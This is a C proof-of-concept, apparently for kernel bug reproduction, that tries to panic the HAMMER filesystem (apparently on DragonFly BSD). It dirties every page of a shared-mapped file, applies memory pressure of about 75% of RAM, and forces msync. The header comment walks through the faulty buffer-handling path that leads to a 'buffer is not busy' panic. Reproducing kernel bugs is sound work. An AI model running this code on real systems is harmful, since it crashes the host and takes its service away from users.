DF-3000 / op3000c.c
/* * DF-3000 PoC (attempt 3): memory-pressure variant. * * Dirty ALL pages of the file via MAP_SHARED (pages dirty -> survive page * reclaim), then apply heavy anon memory pressure (~75% of physmem) so the * page daemon recycles the clean 16K buffers and reclaims every clean page * (including the beyond-EOF tail pages of the last partial block), then * force putpages via msync(MS_SYNC) (the daemon usually beats us to it). * * On the vulnerable path: getblk() in the UIO_NOCOPY branch of * hammer_vop_write() returns !B_CACHE (missing sibling pages), hammer does * bqrelse(bp) + bread(&bp), breadnx reuses the released buffer, and the * final bwrite()/bawrite() panics with "buffer is not busy". */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/mman.h> #include <sys/sysctl.h> int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "/mnt/h1/df3000c.bin"; size_t size = 1 << 20; /* 1MB: last block partial (size+8K) */ size_t fsize = size + 8192; unsigned long physmem; size_t len = sizeof(physmem); char *w, *big, *p; setvbuf(stdout, NULL, _IONBF, 0); sysctlbyname("hw.physmem", &physmem, &len, NULL, 0); printf("physmem = %lu MiB\n", physmem >> 20); int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; } w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); if (w == MAP_FAILED) { perror("mmap"); return 1; } /* fault everything in clean first (full 16K blocks get buffers) */ memset(w, 0, fsize); if (msync(w, fsize, MS_SYNC)) perror("msync fill"); /* dirty EVERY page (they will survive reclaim) */ for (size_t off = 0; off < fsize; off += 4096) w[off] = (char)off; printf("all pages dirtied (%zu bytes)\n", fsize); /* apply anon pressure: touch ~70% of RAM */ size_t bigsz = (physmem / 4) * 3 & ~4095UL; big = mmap(NULL, bigsz, PROT_READ|PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0); if (big == MAP_FAILED) { printf("big mmap %zu: %s\n", bigsz, strerror(errno)); } else { for (p = big; p < big + bigsz; p += 4096) *p = 1; printf("anon pressure %zu MiB touched\n", bigsz >> 20); } printf("msync(MS_SYNC) [putpages]...\n"); if (msync(w, fsize, MS_SYNC)) printf("msync: %s\n", strerror(errno)); else printf("msync: OK\n"); munmap(w, fsize); if (big != MAP_FAILED) munmap(big, bigsz); close(fd); unlink(path); printf("done\n"); return 0; } |